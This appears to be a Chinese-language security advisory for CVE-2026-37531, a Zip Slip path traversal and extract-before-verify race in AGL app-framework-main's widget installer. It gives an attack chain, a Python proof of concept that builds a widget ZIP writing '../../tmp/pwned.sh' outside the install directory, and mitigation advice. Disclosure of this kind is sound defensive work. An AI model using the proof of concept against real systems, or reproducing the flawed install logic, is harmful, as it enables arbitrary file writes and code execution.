IPBUF安全漏洞报告
English
CVE-2026-37531 CVSS 9.8 严重

CVE-2026-37531 AGL组件Zip Slip路径遍历漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-37531
漏洞类型
路径遍历 (Zip Slip)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AGL app-framework-main

相关标签

Path TraversalZip SlipTOCTOUAGLRCECWE-22CWE-367

漏洞概述

AGL app-framework-main 17.1.12及之前版本存在严重安全漏洞。该漏洞源于widget安装流程中的Zip Slip路径遍历(CWE-22)与TOCTOU竞争条件(CWE-367)。`is_valid_filename`函数未能正确过滤包含点符号的相对路径,导致`zread`函数可利用`openat`在文件系统任意位置写入文件。由于文件解压发生在签名验证之前,即便验证失败,恶意文件也能在系统目录中持久存在,导致系统被完全控制。

技术细节

该漏洞核心在于`wgtpkg-zip.c`和`wgtpkg-install.c`的实现缺陷。首先,`is_valid_filename`仅检查绝对路径,忽略了`../`等相对路径遍历字符。其次,`zread`使用`openat`系统调用,该调用会根据文件描述符和路径解析最终位置,从而允许突破工作目录限制。最关键的缺陷是逻辑顺序错误(TOCTOU):在`install_widget`函数中,文件提取先于签名验证执行。攻击者可构造包含恶意载荷的ZIP包(如`../../tmp/pwn.sh`),利用路径遍历将其写入系统关键目录。即使后续签名校验失败触发`remove_workdir`清理,也仅清除临时目录,留下的恶意文件使攻击者可远程执行代码,窃取数据或破坏系统完整性。

攻击链分析

STEP 1
1
攻击者构造恶意的Widget包(ZIP格式),其中包含带有"../"序列的文件名(如../../tmp/pwn.sh)。
STEP 2
2
攻击者将该Widget包上传至目标AGL系统,触发安装流程(install_widget函数)。
STEP 3
3
系统调用zread函数解压文件。由于openat支持相对路径解析,且is_valid_filename未过滤"../",恶意文件被写入临时工作目录之外的系统路径。
STEP 4
4
解压完成后,系统执行check_all_signatures进行签名验证。由于包是伪造的,验证失败。
STEP 5
5
系统执行清理操作remove_workdir,仅删除临时工作目录,已写入外部路径的恶意文件被保留。
STEP 6
6
攻击者通过特定机制(如系统服务调用或访问Web目录)执行写入的恶意文件,获取系统控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # Create a malicious ZIP file demonstrating Zip Slip # This script creates a zip containing a file that escapes the extraction directory def create_malicious_zip(filename): with zipfile.ZipFile(filename, 'w') as zf: # Normal file zf.writestr('normal.txt', 'This is a safe file.') # Malicious file using path traversal (Zip Slip) # The '../' sequence attempts to write outside the intended extraction folder malicious_content = '#!/bin/bash\necho "System compromised via CVE-2026-37531"' # Attempting to write to /tmp/pwned.sh zf.writestr('../../tmp/pwned.sh', malicious_content) # Attempting to overwrite a system library (hypothetical) # zf.writestr('../../usr/lib/libmalicious.so', 'MALICIOUS_CODE') print(f"[+] Created malicious ZIP file: {filename}") print("[+] This ZIP contains entries with '../' to test path traversal.") if __name__ == "__main__": create_malicious_zip("malicious_widget.wgt")

影响范围

AGL app-framework-main <= 17.1.12

防御指南

临时缓解措施
在官方补丁发布前,建议严格限制Widget安装来源,禁止安装未经验证的第三方组件。管理员可检查系统中是否存在异常的新建文件,特别是在/tmp、/var/www等可写目录中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表